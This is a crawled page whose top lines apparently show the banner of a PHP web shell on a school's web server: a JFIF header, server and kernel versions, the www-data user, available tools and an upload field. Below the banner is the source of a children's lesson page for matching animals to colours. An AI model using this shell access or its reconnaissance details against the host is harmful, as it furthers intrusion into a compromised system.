????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.191 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/apps/school/www_old7/Html/LevelC/Category3/ |
Upload File : |
<!DOCTYPE html>
<html>
<head>
<title>Match the colors with animals</title>
<script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script>
<script>
function page_preLoad()
{
shared_setDeviceTypeLevelCategoryLastLesson(Level.C, Category.No3);
shared_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta');
shared_setHeaderTable('id_tblHeader', shared_title_page, shared_getSubTitle(Level.C, Category.No3, 3), true, true);
shared_setFooterTable('id_tblFooter', true, true, false, true, true);
var ids_headings = ['id_td_heading1', 'id_td_heading2', 'id_td_heading3'];
var ids_boxes = ['id_dropBox_WhiteCat', 'id_dropBox_BrownRabbit', 'id_dropBox_BlackDog', 'id_dropBox_OrangeColorFish', 'id_dropBox_tiger1', 'id_dropBox_tiger2', 'id_dropBox_zibra1', 'id_dropBox_zibra2', 'id_dropBox_giraffee1', 'id_dropBox_giraffee2'];
var ids_options = ['id_td_Orange', 'id_td_Black1', 'id_td_Brown', 'id_td_White1', 'id_td_Black2', 'id_td_White2'];
var ids_options2 = ['id_span_BlackDog', 'id_span_OrangeColorFish', 'id_span_WhiteCat', 'id_span_BrownRabbit'];
var ids_texts = ['id_td_text1', 'id_td_text2', 'id_td_text3', 'id_td_text4', 'id_td_text5', 'id_td_text6', 'id_td_text7'];
var ids_All = ids_headings.concat(ids_boxes, ids_options, ids_texts);
shared_adjust_fontSize_for_ids_all_devices(ids_All, 80);
shared_init_dropBox_tds_with_drag_here(ids_boxes);
shared_init_dropping_spans(ids_options.concat(ids_options2));
shared_hideAllExceptFirstElement('id_span_Black', 2);
shared_hideAllExceptFirstElement('id_span_White', 2);
shared_set_all_draggble_to_false_except_first_element('id_td_Black', 2);
shared_set_all_draggble_to_false_except_first_element('id_td_White', 2);
var id_tables_array = ['id_table1'];
shared_border_collapse_for_tables_except_android(id_tables_array);
}
function page_onLoad()
{
}
function btnPrevious_click()
{
window.location = 'LevelCCat3Lesson02.html';
}
function btnNext_click()
{
window.location = 'LevelCCat3Lesson04.html';
}
function btnHome_click()
{
shared_btnHomeCategories_click('LevelC');
}
function DragDrop(id_dropBox, ids_array)
{
if (shared_isMovingElementIdInTheArraySetIsFilledTrue(id_dropBox, ids_array))
{
shared_setTextAndBackgroundColorAndIsMovedTrueNew(shared_currentDropingId, id_dropBox);
if (shared_currentDropingId == 'id_span_White1')
{
showNextWhiteText();
}
else if (shared_currentDropingId == 'id_span_Black1')
{
showNextBlackText();
}
isAllInfosMovedShowClapsAnimation();
shared_set_currentDropingId_draggbleToFalse();
}
else
{
shared_resetCurrentDroppingPosition(id_dropBox);
}
}
function showNextWhiteText()
{
shared_unHideNextElementNew2('id_span_White', 'id_td_White', 2);
}
function showNextBlackText()
{
shared_unHideNextElementNew2('id_span_Black', 'id_td_Black', 2);
}
function isAllInfosMovedShowClapsAnimation()
{
var ids_boxes = ['id_dropBox_WhiteCat', 'id_dropBox_BrownRabbit', 'id_dropBox_BlackDog', 'id_dropBox_OrangeColorFish', 'id_dropBox_tiger1', 'id_dropBox_tiger2', 'id_dropBox_zibra1', 'id_dropBox_zibra2', 'id_dropBox_giraffee1', 'id_dropBox_giraffee2'];
shared_is_all_infos_filled_show_claps_animationWithIsFilled(ids_boxes);
}
</script>
</head>
<body onload="page_onLoad()">
<div id="shared_id_div_claps_image">
</div>
<table id="id_tblMainiPadBody" border="1" cellspacing="0" cellpadding="0">
<tr height="8%">
<td>
<div id="id_tblHeader"></div>
</td>
</tr>
<tr height="*" data-role="page"><!-- for swiping left and right especially for Android device -->
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="2%">
<tr height="45%">
<td style="padding-bottom: 0px">
<table id="id_table1" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr height="5%">
<td id="id_td_heading1" class="shared_style_options_blue_24px_bold">
Some animals have two colours:
</td>
</tr>
<tr height="15%">
<td style="border-bottom: 0px; border-top: 0px">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="2%">
<tr>
<td id="id_td_heading2" class="shared_style_options_blue_24px_bold" width="16%" align="center">Options:
</td>
<td id="id_td_Orange" class="shared_style_red_24px_bold" width="14%" align="center" draggable="true" ondragstart="shared_dragStartNew(event)">
<span id="id_span_Orange">orange</span>
</td>
<td id="id_td_Black1" class="shared_style_red_24px_bold" width="14%" align="center" draggable="true" ondragstart="shared_dragStartNew(event)">
<span id="id_span_Black1">black</span>
</td>
<td id="id_td_Brown" class="shared_style_red_24px_bold" width="14%" align="center" draggable="true" ondragstart="shared_dragStartNew(event)">
<span id="id_span_Brown">brown</span>
</td>
<td id="id_td_White1" class="shared_style_red_24px_bold" width="14%" align="center" draggable="true" ondragstart="shared_dragStartNew(event)">
<span id="id_span_White1">white</span>
</td>
<td id="id_td_Black2" class="shared_style_red_24px_bold" width="14%" align="center" draggable="true" ondragstart="shared_dragStartNew(event)">
<span id="id_span_Black2">black</span>
</td>
<td id="id_td_White2" class="shared_style_red_24px_bold" width="*" align="center" draggable="true" ondragstart="shared_dragStartNew(event)">
<span id="id_span_White2">white</span>
</td>
</tr>
</table>
</td>
</tr>
<tr height="*">
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="2%" style="border-collapse:collapse">
<tr height="33%">
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0" style="border-collapse:collapse">
<tr>
<td width="25%" align="center">
<img id="id_imgTiger" src="../../../img/LevelC/Category3/LevelCCat3Lesson03/tiger.png" width="45%" draggable="false"/>
</td>
<td id="id_td_text1" width="30%" class="shared_style_blue_24px_bold" align="left" valign="middle">
Tiger has
</td>
<td width="15%">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0" style="border:none">
<tr>
<td id="id_dropBox_tiger1" class="shared_style_red_24px_bold" align="center"
ondragover="shared_highlight('id_dropBox_tiger1'); shared_allowDrop_web(event)"
ondragleave="shared_un_highlight('id_dropBox_tiger1')"
ondrop="DragDrop('id_dropBox_tiger1', ['id_span_Orange', 'id_span_Black1', 'id_span_Black2'])">
</td>
</tr>
</table>
</td>
<td width="5%"> </td>
<td width="15%">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0" style="border:none">
<tr>
<td id="id_dropBox_tiger2" class="shared_style_red_24px_bold" align="center"
ondragover="shared_highlight('id_dropBox_tiger2'); shared_allowDrop_web(event)"
ondragleave="shared_un_highlight('id_dropBox_tiger2')"
ondrop="DragDrop('id_dropBox_tiger2', ['id_span_Black1', 'id_span_Black2', 'id_span_Orange'])">
</td>
</tr>
</table>
</td>
<td width="*"> </td>
</tr>
</table>
</td>
</tr>
<tr height="33%">
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0" style="border-collapse:collapse">
<tr>
<td width="25%" align="center">
<img id="id_imgZibra" src="../../../img/LevelC/Category3/LevelCCat3Lesson03/zebra.png" width="45%" draggable="false"/>
</td>
<td id="id_td_text2" width="30%" class="shared_style_blue_24px_bold" align="left" valign="middle">
Zibra has
</td>
<td width="15%">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0" style="border:none">
<tr>
<td id="id_dropBox_zibra1" class="shared_style_red_24px_bold" align="center"
ondragover="shared_highlight('id_dropBox_zibra1'); shared_allowDrop_web(event)"
ondragleave="shared_un_highlight('id_dropBox_zibra1')"
ondrop="DragDrop('id_dropBox_zibra1', ['id_span_Black1', 'id_span_Black2', 'id_span_White1','id_span_White2'])">
</td>
</tr>
</table>
</td>
<td width="5%"> </td>
<td width="15%">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0" style="border:none">
<tr>
<td id="id_dropBox_zibra2" class="shared_style_red_24px_bold" align="center"
ondragover="shared_highlight('id_dropBox_zibra2'); shared_allowDrop_web(event)"
ondragleave="shared_un_highlight('id_dropBox_zibra2')"
ondrop="DragDrop('id_dropBox_zibra2', ['id_span_White1', 'id_span_White2', 'id_span_Black1', 'id_span_Black2'])">
</td>
</tr>
</table>
</td>
<td width="*"> </td>
</tr>
</table>
</td>
</tr>
<tr height="*">
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0" style="border-collapse:collapse">
<tr>
<td width="25%" align="center">
<img id="id_imgGiraffee" src="../../../img/LevelC/Category3/LevelCCat3Lesson03/giraffee.png" width="25%" draggable="false"/>
</td>
<td id="id_td_text3" width="30%" class="shared_style_blue_24px_bold" align="left" valign="middle">
Giraffee has
</td>
<td width="15%">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0" style="border:none">
<tr>
<td id="id_dropBox_giraffee1" class="shared_style_red_24px_bold" align="center"
ondragover="shared_highlight('id_dropBox_giraffee1'); shared_allowDrop_web(event)"
ondragleave="shared_un_highlight('id_dropBox_giraffee1')"
ondrop="DragDrop('id_dropBox_giraffee1', ['id_span_Brown', 'id_span_White1', 'id_span_White2'])">
</td>
</tr>
</table>
</td>
<td width="5%"> </td>
<td width="15%">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0" style="border:none">
<tr>
<td id="id_dropBox_giraffee2" class="shared_style_red_24px_bold" align="center"
ondragover="shared_highlight('id_dropBox_giraffee2'); shared_allowDrop_web(event)"
ondragleave="shared_un_highlight('id_dropBox_giraffee2')"
ondrop="DragDrop('id_dropBox_giraffee2', ['id_span_White1', 'id_span_White2', 'id_span_Brown'])">
</td>
</tr>
</table>
</td>
<td width="*"> </td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="*">
<td>
<table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse">
<tr height="10%">
<td id="id_td_heading3" class="shared_style_options_blue_24px_bold">
Match the following animals and their colours:
</td>
</tr>
<tr height="*">
<td height="100%">
<table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0" style="border:none">
<tr height="100%">
<td width="64%" height="100%" style="border:none">
<table width="100%" height="100%" border="0" cellspacing="2%" cellpadding="0">
<tr id="id_tr_WhiteCat" height="25%"
ondragover="shared_highlight('id_dropBox_WhiteCat'); shared_allowDrop_web(event)"
ondragleave="shared_un_highlight('id_dropBox_WhiteCat')"
ondrop="DragDrop('id_dropBox_WhiteCat', ['id_span_WhiteCat'])">
<td id="id_td_imgWhiteCat" width="40%" align="center">
<img id="id_imgWhiteCat" src="../../../img/LevelC/Category3/LevelCCat3Lesson03/whiteCat.png" width="30%" draggable="false"/>
</td>
<td id="id_dropBox_WhiteCat" width="*" class="shared_style_red_24px_bold">
</td>
</tr>
<tr id="id_tr_BrownRabbit" height="25%"
ondragover="shared_highlight('id_dropBox_BrownRabbit'); shared_allowDrop_web(event)"
ondragleave="shared_un_highlight('id_dropBox_BrownRabbit')"
ondrop="DragDrop('id_dropBox_BrownRabbit', ['id_span_BrownRabbit'])">
<td id="id_td_imgBrownRabbit" width="40%" align="center">
<img id="id_imgBrownRabbit" src="../../../img/LevelC/Category3/LevelCCat3Lesson03/brownRabbit.png" width="30%" draggable="false"/>
</td>
<td id="id_dropBox_BrownRabbit" width="*" class="shared_style_red_24px_bold">
</td>
</tr>
<tr id="id_tr_BlackDog" height="25%"
ondragover="shared_highlight('id_dropBox_BlackDog'); shared_allowDrop_web(event)"
ondragleave="shared_un_highlight('id_dropBox_BlackDog')"
ondrop="DragDrop('id_dropBox_BlackDog', ['id_span_BlackDog'])">
<td id="id_td_imgBlackDog" width="40%" align="center">
<img id="id_imgBlackDog" src="../../../img/LevelC/Category3/LevelCCat3Lesson03/blackDog.png" width="30%" draggable="false"/>
</td>
<td id="id_dropBox_BlackDog" width="*" class="shared_style_red_24px_bold">
</td>
</tr>
<tr id="id_tr_OrangeColorFish" height="*"
ondragover="shared_highlight('id_dropBox_OrangeColorFish'); shared_allowDrop_web(event)"
ondragleave="shared_un_highlight('id_dropBox_OrangeColorFish')"
ondrop="DragDrop('id_dropBox_OrangeColorFish', ['id_span_OrangeColorFish'])">
<td id="id_td_imgOrangeFish" width="40%" align="center">
<img id="id_imgOrangeFish" src="../../../img/LevelC/Category3/LevelCCat3Lesson03/orangeColorFish.png" width="30%" draggable="false"/>
</td>
<td id="id_dropBox_OrangeColorFish" width="*" class="shared_style_red_24px_bold">
</td>
</tr>
</table>
</td>
<td width="*" style="border-top: 0px; border-bottom: 0px; border-right: 0px">
<table width="100%" height="100%" border="0" cellspacing="2%" cellpadding="0" style="border:none">
<tr height="25%">
<td id="id_td_text4" class="shared_style_blue_24px_bold" align="center" draggable="true" ondragstart="shared_dragStartNew(event)">
<span id="id_span_BlackDog" class="cls_drag_BlackDog">Black dog</span>
</td>
</tr>
<tr height="25%">
<td id="id_td_text5" class="shared_style_blue_24px_bold" align="center" draggable="true" ondragstart="shared_dragStartNew(event)">
<span id="id_span_OrangeColorFish" class="cls_drag_OrangeColorFish">Orange color fish</span>
</td>
</tr>
<tr height="25%">
<td id="id_td_text6" class="shared_style_blue_24px_bold" align="center" draggable="true" ondragstart="shared_dragStartNew(event)">
<span id="id_span_WhiteCat" class="cls_drag_WhiteCat">White cat</span>
</td>
</tr>
<tr height="*">
<td id="id_td_text7" class="shared_style_blue_24px_bold" align="center" draggable="true" ondragstart="shared_dragStartNew(event)">
<span id="id_span_BrownRabbit" class="cls_drag_BrownRabbit">Brown rabbit</span>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="8%">
<td>
<div id="id_tblFooter"></div>
</td>
</tr>
</table>
<script>
page_preLoad();
new webkit_draggable('id_span_Brown', {handle : 'id_td_Brown', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
new webkit_draggable('id_span_Orange', {handle : 'id_td_Orange', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
new webkit_draggable('id_span_Black1', {handle : 'id_td_Black1', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
new webkit_draggable('id_span_Black2', {handle : 'id_td_Black2', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
new webkit_draggable('id_span_White1', {handle : 'id_td_White1', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
new webkit_draggable('id_span_White2', {handle : 'id_td_White2', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
new webkit_draggable('id_span_BlackDog', {handle : 'id_td_text4', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
new webkit_draggable('id_span_OrangeColorFish', {handle : 'id_td_text5', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
new webkit_draggable('id_span_WhiteCat', {handle : 'id_td_text6', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
new webkit_draggable('id_span_BrownRabbit', {handle : 'id_td_text7', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
webkit_drop.add('id_dropBox_tiger1', {onOver : function(){shared_highlight('id_dropBox_tiger1')}, onOut : function(){shared_un_highlight('id_dropBox_tiger1')}, onDrop : function(){DragDrop('id_dropBox_tiger1', ['id_span_Orange', 'id_span_Black1', 'id_span_Black2'])}});
webkit_drop.add('id_dropBox_tiger2', {onOver : function(){shared_highlight('id_dropBox_tiger2')}, onOut : function(){shared_un_highlight('id_dropBox_tiger2')}, onDrop : function(){DragDrop('id_dropBox_tiger2', ['id_span_Black1', 'id_span_Black2', 'id_span_Orange'])}});
webkit_drop.add('id_dropBox_giraffee1', {onOver : function(){shared_highlight('id_dropBox_giraffee1')}, onOut : function(){shared_un_highlight('id_dropBox_giraffee1')}, onDrop : function(){DragDrop('id_dropBox_giraffee1', ['id_span_Brown', 'id_span_White1', 'id_span_White2'])}});
webkit_drop.add('id_dropBox_giraffee2', {onOver : function(){shared_highlight('id_dropBox_giraffee2')}, onOut : function(){shared_un_highlight('id_dropBox_giraffee2')}, onDrop : function(){DragDrop('id_dropBox_giraffee2', ['id_span_White1', 'id_span_White2', 'id_span_Brown'])}});
webkit_drop.add('id_dropBox_zibra1', {onOver : function(){shared_highlight('id_dropBox_zibra1')}, onOut : function(){shared_un_highlight('id_dropBox_zibra1')}, onDrop : function(){DragDrop('id_dropBox_zibra1', ['id_span_Black1', 'id_span_Black2', 'id_span_White1', 'id_span_White2'])}});
webkit_drop.add('id_dropBox_zibra2', {onOver : function(){shared_highlight('id_dropBox_zibra2')}, onOut : function(){shared_un_highlight('id_dropBox_zibra2')}, onDrop : function(){DragDrop('id_dropBox_zibra2', ['id_span_White1', 'id_span_White2', 'id_span_Black1', 'id_span_Black2'])}});
webkit_drop.add('id_tr_WhiteCat', {onOver : function(){shared_highlight('id_dropBox_WhiteCat')}, onOut : function(){shared_un_highlight('id_dropBox_WhiteCat')}, onDrop : function(){DragDrop('id_dropBox_WhiteCat', ['id_span_WhiteCat'])}});
webkit_drop.add('id_tr_BrownRabbit', {onOver : function(){shared_highlight('id_dropBox_BrownRabbit')}, onOut : function(){shared_un_highlight('id_dropBox_BrownRabbit')}, onDrop : function(){DragDrop('id_dropBox_BrownRabbit', ['id_span_BrownRabbit'])}});
webkit_drop.add('id_tr_BlackDog', {onOver : function(){shared_highlight('id_dropBox_BlackDog')}, onOut : function(){shared_un_highlight('id_dropBox_BlackDog')}, onDrop : function(){DragDrop('id_dropBox_BlackDog', ['id_span_BlackDog'])}});
webkit_drop.add('id_tr_OrangeColorFish', {onOver : function(){shared_highlight('id_dropBox_OrangeColorFish')}, onOut : function(){shared_un_highlight('id_dropBox_OrangeColorFish')}, onDrop : function(){DragDrop('id_dropBox_OrangeColorFish', ['id_span_OrangeColorFish'])}});
</script>
</body>
</html>